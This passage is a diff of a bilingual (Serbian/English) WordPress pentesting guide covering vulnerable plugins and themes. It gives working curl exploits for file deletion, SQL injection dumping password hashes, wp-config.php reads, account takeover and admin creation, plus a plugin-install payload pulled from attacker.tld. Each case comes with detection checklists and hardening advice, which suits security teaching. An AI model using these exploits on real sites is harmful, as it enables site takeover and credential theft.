postaje dostupan neautentifikovanim posetiocima**, so any sensitive action must additionally implement: -1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and -2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and +1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), i +2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, i 3. **Strict input sanitisation / validation**. -Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* feature i na kraju isporučila sledeći kod (pojednostavljen): +The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,15 +434,15 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Problemi koje uvodi ovaj isečak: +Problemi uvedeni ovim isječkom: -* **Neautentifikovan pristup** – registrovan je `wp_ajax_nopriv_` hook. -* **Nema nonce / provera privilegija** – bilo koji posetilac može da pozove endpoint. -* **Nema sanitizacije putanje** – `fontfamily` string koji kontroliše korisnik se konkatenira sa fajl-sistemskom putanjom bez filtriranja, omogućavajući klasičnu `../../` traversal. +* **Unauthenticated access** – registrovan je hook `wp_ajax_nopriv_`. +* **No nonce / capability check** – bilo koji posetilac može da pozove endpoint. +* **No path sanitisation** – string `fontfamily` koji kontroliše korisnik se konkatenira u putanju fajl sistema bez filtriranja, omogućavajući klasičan `../../` traversal. #### Eksploatacija -Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `/wp-content/uploads/`) slanjem jednog HTTP POST zahteva: +Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog uploads direktorijuma** (obično `/wp-content/uploads/`) slanjem jednog HTTP POST zahteva: ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ ``` Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules. +Drugi značajni ciljevi uključuju plugin/tema `.php` fajlove (npr. za onemogućavanje security plugin-a) ili `.htaccess` pravila. -#### Checklist za detekciju +#### Detection checklist -* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). -* Konkatencija nesanitizovanog korisničkog inputa u putanjama (traži `$_POST`, `$_GET`, `$_REQUEST`). +* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helper-e (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.). +* Konkatenacija nesanitizovanih korisničkih ulaza u puteve (tražite `$_POST`, `$_GET`, `$_REQUEST`). * Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`. --- -### Eskalacija privilegija putem vraćanja zastarelih rola i nedostajuće autorizacije (ASE "View Admin as Role") +### Povišenje privilegija putem vraćanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role") -Mnogi plugin-ovi implementiraju "view as role" ili privremenu promenu role tako što čuvaju originalnu rolu/role u user meta da bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i interne liste održavane od strane plugina bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija. +Mnogi plugin-i implementiraju "view as role" ili privremenu promenu uloge tako što sačuvaju originalnu ulogu/e u user meta kako bi ih mogli vratiti kasnije. Ako se put vraćanja oslanja samo na request parametre (npr. `$_REQUEST['reset-for']`) i na listu koju održava plugin, bez provere capabilities i važećeg nonce-a, to postaje vertikalno povišenje privilegija. -Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za reset je vraćala role bazirano na `reset-for=` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne role i ponovo doda sačuvane role iz user meta `_asenha_view_admin_as_original_roles`: +Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) plugin-u (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=` ako je korisničko ime postojalo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni nonce verifikaciju pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } ``` Zašto je iskorišćivo -- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani. -- Ako je korisnik prethodno imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles`, a kasnije su mu smanjene, može ih vratiti pristupom putanji za reset. -- U nekim okruženjima, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija). +- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera. +- Ako je korisnik ranije imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je degradiran, može ih vratiti tako što će pristupiti putanji za reset. +- U nekim instalacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokvarena autorizacija). Eksploatacija (primer) ```bash @@ -493,21 +493,21 @@ Eksploatacija (primer) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Na ranjivim build-ovima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efektivno izvodi privilege escalation. +Na ranjivim verzijama ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), efektivno eskalirajući privilegije. Detection checklist -- Potražite funkcije za prebacivanje rola koje čuvaju originalne role u user meta (npr. `_asenha_view_admin_as_original_roles`). +- Potražite funkcije za prebacivanje role koje čuvaju “izvorne role” u user meta (npr. `_asenha_view_admin_as_original_roles`). - Identifikujte reset/restore putanje koje: -- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`. -- Mijenjaju role preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. -- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu actor’s capabilities. + - Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`. + - Modifikuju role preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`. + - Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na sposobnostima aktera. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Neautentifikovana eskalacija privilegija putem prebacivanja korisnika koji se oslanja na cookie na javnom init (Service Finder “sf-booking”) -Neki pluginovi povezuju user-switching helper-e na public `init` hook i određuju identitet iz cookie-ja kontrolisanog od strane klijenta. Ako kod poziva `wp_set_auth_cookie()` bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisilno prijaviti kao proizvoljan user ID. +Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni `init` hook i izvode identitet iz cookie-ja koji kontroliše klijent. Ako kod poziva `wp_set_auth_cookie()` bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika. Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1): ```php @@ -538,13 +538,13 @@ wp_die('Original user not found.'); wp_die('No original user found to switch back to.'); } ``` -Zašto je iskorišćivo +Zašto je moguće iskoristiti -- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema `is_user_logged_in()` provere). -- Identitet potiče iz kolačića koji klijent može menjati (`original_user_id`). -- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera. +- Javni `init` hook čini handler dostupan neautentifikovanim korisnicima (nema `is_user_logged_in()` provere). +- Identitet potiče iz cookie-ja koji klijent može izmeniti (`original_user_id`). +- Direktan poziv `wp_set_auth_cookie($uid)` uloguje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera. -Exploitation (unauthenticated) +Eksploatacija (bez autentifikacije) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -556,32 +556,32 @@ Connection: close ### WAF razmatranja za WordPress/plugin CVEs -Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnogi high‑impact WordPress/plugin propusti su application-specific logic/auth bagovi koji izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina. +Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin-ova. -Offensive notes +Ofanzivne napomene -- Ciljajte plugin-specific endpoints sa čistim payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Prvo testirajte unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation. +- Ciljajte plugin-specifične endpoints sa clean payloads: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Prvo testirajte unauth paths (AJAX `nopriv`, REST sa permissive `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation. - Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. -Defensive notes +Odbrambene napomene -- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte. -- Dajte prednost positive-security proverama u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera. +- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte. +- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negative regex filtera. -## WordPress Protection +## Zaštita WordPress-a -### Regular Updates +### Redovna ažuriranja -Uverite se da su WordPress, plugins, i themes ažurirani. Takođe potvrdite da je automated updating omogućeno u wp-config.php: +Uverite se da su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**. +Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**. -### Sigurnosni dodaci +### Sigurnosni pluginovi - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) @@ -589,16 +589,16 @@ Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**. ### **Ostale preporuke** -- Uklonite podrazumevanog korisnika **admin** +- Uklonite podrazumevanog **admin** korisnika - Koristite **jake lozinke** i **2FA** -- Povremeno **pregledajte dozvole** korisnika -- **Ograničite pokušaje prijave** da biste sprečili Brute Force napade -- Preimenujte fajl `wp-admin.php` i omogućite pristup samo interno ili sa određenih IP adresa. +- Periodično **pregledajte** **dozvole** korisnika +- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade +- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa. ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u okviru `modules/category/model.php::validateFormData()`: +WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ $query = "SELECT max(ordering)+1 AS maxordering FROM " . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later ``` -Problemi koje uvodi ovaj isječak: +Problemi uvedeni ovim isječkom: -1. **Nefiltrirani korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva. -2. **Konkatenacija stringova u WHERE klauzuli** – nema `is_numeric()` / `esc_sql()` / prepared statement. -3. **Pristup bez autentikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dobiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`. +1. **Nesanitizovani korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva. +2. **Spajanje stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / pripremljenog upita. +3. **Neautentifikovan pristup** – iako se akcija izvršava kroz `admin-post.php`, jedina provera koja postoji je a **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može preuzeti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`. #### Eksploatacija -1. Nabavite svež nonce: +1. Preuzmi novi nonce: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` -2. Injektujte proizvoljan SQL zloupotrebom `parentid`: +2. Injektuj proizvoljan SQL zloupotrebom `parentid`: ```bash curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'task=savecategory' \ @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, čime se dokazuje SQLi. +Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi. -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Neautentifikovano Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) -Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`: +Još jedan zadatak, **downloadcustomfile**, je omogućavao posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljiv sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice resume. +`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedina prepreka je **CSRF nonce** koji se može dohvatiti sa stranice rezimea. #### Eksploatacija ```bash @@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -The server vraća sadržaj `wp-config.php`, leaking DB credentials and auth keys. +The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. -## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Preuzimanje naloga bez autentifikacije preko Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Mnogi themes/plugins uključuju "social login" pomoćne funkcije izložene preko admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje klijent pošalje kada podaci provajdera nedostaju, a zatim pozove wp_set_auth_cookie(), to omogućava potpuno zaobilaženje autentifikacije. +Mnogo tema/plugina sadrži "social login" pomoćnike izložene putem admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje šalje klijent kada podaci provajdera nedostaju i zatim pozove wp_set_auth_cookie(), to postaje potpuni zaobilaženje autentifikacije. -Tipičan ranjiv obrazac (pojednostavljeno) +Tipičan pogrešan obrazac (pojednostavljeno) ```php public function check_login() { // ... request parsing ... @@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -Zašto je ranjivo +Zašto je iskorištivo -- Neautentifikovan pristup putem admin-ajax.php (wp_ajax_nopriv_… action). -- Nema nonce/capability provera pre promene stanja. -- Nedostaje OAuth/OpenID provider verification; default branch prihvata unos napadača. -- get_user_by('email', $_POST['id']) nakon čega sledi wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo kog korisnika sa postojećom email adresom. +- Pristup bez autentifikacije preko admin-ajax.php (wp_ajax_nopriv_… action). +- Nema provere nonce/capability pre promene stanja. +- Nedostaje verifikacija OAuth/OpenID providera; default branch prihvata ulaz od napadača. +- get_user_by('email', $_POST['id']) praćeno wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo koju postojeću email adresu. Eksploatacija (neautentifikovano) -- Preduslovi: napadač može da pristupi /wp-admin/admin-ajax.php i zna/pretpostavi važeću korisničku email adresu. -- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i poslali id=. +- Preduslovi: napadač može da dosegne /wp-admin/admin-ajax.php i zna/pogađa važeću korisničku email adresu. +- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i prosledili id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -708,41 +708,41 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Očekivani indikatori uspeha +Expected success indicators -- HTTP 200 sa JSON telom poput {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* za žrtvin nalog; naknadni zahtevi su autentifikovani. +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* za korisnika žrtve; naredni zahtevi su autentifikovani. -Pronalazak imena akcije +Finding the action name -- Pregledajte theme/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u social login kodu (npr. framework/add-ons/social-login/class-social-login.php). -- Grep-ujte za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handler-a. +- Pregledajte temu/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u kodu za social login (npr. framework/add-ons/social-login/class-social-login.php). +- Grep za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handlera. -Kontrolna lista za detekciju +Detection checklist -- Web logovi koji pokazuju unauthenticated POST-ove ka /wp-admin/admin-ajax.php sa social-login akcijom i id=. -- 200 odgovori sa success JSON-om neposredno pre autentifikovanog saobraćaja sa iste IP/User-Agent kombinacije. +- Web logovi koji pokazuju neautentifikovane POST-ove na /wp-admin/admin-ajax.php sa social-login akcijom i id=. +- 200 odgovori sa success JSON-om koji odmah prethode autentifikovanom saobraćaju sa iste IP/User-Agent. -Ojačavanje +Hardening -- Ne izvodite identitet iz klijentskog inputa. Prihvatati samo emails/IDs koji potiču od validiranog provider token/ID. -- Zahtevajte CSRF nonces i capability checks čak i za login helper-e; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno. -- Validirajte i verifikujte OAuth/OIDC odgovore server-side; odbacite nedostajuće/invalidne providere (bez fallback-a na POST id). +- Ne izvlačite identitet iz klijentskog unosa. Prihvatati samo emailove/ID-e koji potiču iz validiranog tokena/ID-a provajdera. +- Zahtijevajte CSRF nonces i provere privilegija čak i za pomoćnike za prijavu; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno. +- Validirajte i verifikujte OAuth/OIDC odgovore na serverskoj strani; odbacite nedostajuće/nevažeće providere (bez fallback-a na POST id). - Razmotrite privremeno onemogućavanje social login-a ili virtuelno zakrpljivanje na edge-u (blokirajte ranjivu akciju) dok se ne popravi. -Ispravljeno ponašanje (Jobmonster 4.8.0) +Patched behaviour (Jobmonster 4.8.0) -- Uklonjen nesigurni fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']). +- Uklonjen nesiguran fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']). ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Neki plugin-ovi izlažu REST endpoint-e koji generišu reusable “connection keys” ili tokene bez verifikacije capabilities pozivaoca. Ako ruta autentifikuje samo na osnovu pogađajućeg atributa (npr. username) i ne veže ključ za korisnika/session sa capability checks, bilo koji unauthenticated napadač može izdati ključ i pozvati privilegovane akcije (kreiranje admin naloga, plugin akcije → RCE). +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection -- Flaw: prihvata username, izdaje connection key bez current_user_can() ili striktne permission_callback -- Impact: potpuni takeover povezivanjem izdanog ključa sa internim privilegovanim akcijama +- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback +- Impact: full takeover by chaining the minted key to internal privileged actions -PoC – izdati connection key i iskoristiti ga +PoC – kreirajte connection key i upotrebite ga ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,54 +756,54 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ -H 'X-Connection-Key: ' \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` -Zašto je ranjivo -- Osetljiva REST ruta zaštićena samo dokazom identiteta niske entropije (username) ili bez permission_callback -- Nema provere capability; generisani ključ se prihvata kao univerzalni bypass +Zašto je iskoristivo +- Osetljiva REST ruta zaštićena samo slabim dokazom identiteta (korisničko ime/email) ili nedostaje permission_callback +- Nema sprovođenja capability; izdati ključ se prihvata kao univerzalno zaobilaženje -Provera za detekciju -- Pretražite kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Bilo koja ruta koja izdaje tokene/ključeve na osnovu identiteta dostavljenog u zahtevu (username/email) bez vezivanja za autentifikovanog korisnika ili capability -- Potražite naredne rute koje prihvataju generisani token/ključ bez server-side provere capability-a +Kontrolna lista za detekciju +- Grep-uj kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Bilo koja ruta koja izdaje tokene/ključeve zasnovane na identitetu poslatom u zahtevu (korisničko ime/email) bez vezivanja za autentifikovanog korisnika ili capability +- Traži naredne rute koje prihvataju izdati token/ključ bez provere capability na serverskoj strani Ojačavanje -- Za svaku privilegovanu REST rutu: zahtevajte permission_callback koji poziva current_user_can() za potrebnu capability -- Ne generišite dugovečne ključeve na osnovu identiteta dostavljenog od klijenta; ako je neophodno, izdajte kratkotrajne tokene vezane za korisnika posle autentifikacije i ponovo proverite capability prilikom upotrebe -- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbijte zahteve gde !is_user_logged_in() || !current_user_can() +- Za svaku privilegovanu REST rutu: zahtevati permission_callback koji poziva current_user_can() za potrebnu capability +- Ne izdavati dugovečne ključeve na osnovu identiteta poslatog od klijenta; ako je potrebno, izdavati kratkotrajne tokene vezane za korisnika nakon autentifikacije i ponovo proveravati capability pri upotrebi +- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbacite zahteve gde !is_user_logged_in() || !current_user_can() --- -## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) +## Nonce gate misuse → neautentifikovana proizvoljna instalacija plugina (FunnelKit Automations ≤ 3.5.3) -Nonces sprečavaju CSRF, a ne autorizaciju. Ako kod tretira prolaz nonce-a kao zeleno svetlo i zatim preskače provere capability za privilegovane operacije (npr., install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabu nonce proveru i dostići RCE instaliranjem backdoored ili ranjivog plugina. +Nonces sprečavaju CSRF, ne autorizaciju. Ako kod tretira uspešan nonce kao zeleno svetlo i onda preskače provere capability za privilegovane operacije (npr. install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabi nonce uslov i postići RCE instaliranjem backdoored or vulnerable plugin. - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” -- Impact: potpuna kompromitacija putem proizvoljne instalacije/aktivacije plugina +- Impact: full compromise via arbitrary plugin install/activation -PoC (oblik zavisi od plugina; služi samo kao ilustracija) +PoC (shape depends on plugin; illustrative only) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` Detection checklist -- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check -- Any code path that sets $skip_caps = true after nonce validation +- REST/AJAX handler-i koji menjaju plugins/themes, a koriste samo wp_verify_nonce()/check_admin_referer() i bez provere privilegija +- Bilo koji code path koji postavlja $skip_caps = true nakon validacije nonce-a Hardening -- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state -- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code -- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows +- Uvek tretirajte nonces samo kao CSRF tokene; primenjujte provere privilegija bez obzira na stanje nonce-a +- Zahtevajte current_user_can('install_plugins') i current_user_can('activate_plugins') pre nego što se dođe do installer koda +- Odbacite neautentifikovan pristup; izbegavajte izlaganje nopriv AJAX actions za privilegovane tokove --- ## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) -Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. +Više depicter-* actions je koristilo parametar s (search) i konkateniralo ga u SQL upite bez parameterizacije. -- Parametar: s (search) -- Propust: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization -- Uticaj: database exfiltration (users, hashes), lateral movement +- Parameter: s (search) +- Flaw: direktna string concatenation u WHERE/LIKE klauzulama; nema prepared statements/sanitization +- Impact: database exfiltration (users, hashes), lateral movement PoC ```bash @@ -812,35 +812,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -Detekciona kontrolna lista -- Koristite grep za depicter-* action handlers i direktnu upotrebu $_GET['s'] ili $_POST['s'] u SQL-u -- Pregledajte prilagođene upite prosleđene u $wpdb->get_results()/query() koji konkateniraju s +Detection checklist +- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL +- Review custom queries passed to $wpdb->get_results()/query() concatenating s -Ojačavanje -- Uvek koristite $wpdb->prepare() ili wpdb placeholders; odbacujte neočekivane metakaraktere na serverskoj strani -- Dodajte strogu allowlistu za s i normalizujte na očekivani charset/dužinu +Hardening +- Always use $wpdb->prepare() or wpdb placeholders; reject unexpected metacharacters server-side +- Add a strict allowlist for s and normalize to expected charset/length --- ## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -Prihvatanje putanja pod kontrolom napadača u template parametru bez normalizacije/ograničenja omogućava čitanje proizvoljnih lokalnih fajlova, a ponekad i izvršavanje koda ako se PHP/log fajlovi koji se mogu include-ovati učitaju u runtime. +Accepting attacker-controlled paths in a template parameter without normalization/containment allows reading arbitrary local files, and sometimes code execution if includable PHP/log files are pulled into runtime. - Parameter: __kubio-site-edit-iframe-classic-template -- Flaw: nema normalizacije/allowlistinga; traversal permitted -- Impact: otkrivanje tajni (wp-config.php), potencijalni RCE u specifičnim okruženjima (log poisoning, includable PHP) +- Flaw: no normalization/allowlisting; traversal permitted +- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP) -PoC – pročitajte wp-config.php +PoC – čitanje wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` -Detection checklist -- Bilo koji handler koji konkatenira request putanje u include()/require()/read sinkove bez provere containment-a preko realpath() -- Tražite obrasce traversal-a (../) koji izlaze izvan predviđenog templates direktorijuma +Kontrolna lista za detekciju +- Bilo koji handler koji spaja request paths u include()/require()/read sinks bez realpath() containment +- Tražite traversal obrasce (../) koji dopiru izvan predviđenog direktorijuma sa template-ima -Hardening -- Sprovodite listu dozvoljenih template-ova; rešavajte putanje pomoću realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base)) -- Normalizujte ulaz; odbacujte traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje) +Ojačavanje +- Primorajte korišćenje dozvoljenih (allowlisted) template-a; rešavajte sa realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base)) +- Normalizujte ulaz; odbacite traversal sekvence i apsolutne putanje; koristite 